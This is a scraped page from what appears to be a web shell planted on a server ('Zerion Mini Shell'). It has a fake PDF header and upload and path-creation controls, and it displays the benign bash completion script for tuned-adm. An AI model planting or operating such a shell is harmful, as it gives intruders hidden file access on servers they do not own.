%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/bash-completion/completions/
Upload File :
Create Path :
Current File : //usr/share/bash-completion/completions/tuned-adm

# bash completion for tuned-adm

_tuned_adm()
{
	local commands="active list off profile recommend verify"
	local cur prev words cword
	_init_completion || return

	if [[ "$cword" -eq 1 ]]; then
		COMPREPLY=( $(compgen -W "$commands" -- "$cur" ) )
	elif [[ "$cword" -eq 2 && "$prev" == "profile" ]]; then
		COMPREPLY=( $(compgen -W "$(command find /usr/lib/tuned /etc/tuned -mindepth 1 -maxdepth 1 -type d -printf "%f\n")" -- "$cur" ) )
	else
		COMPREPLY=()
	fi

	return 0
} &&
complete -F _tuned_adm tuned-adm

Zerion Mini Shell 1.0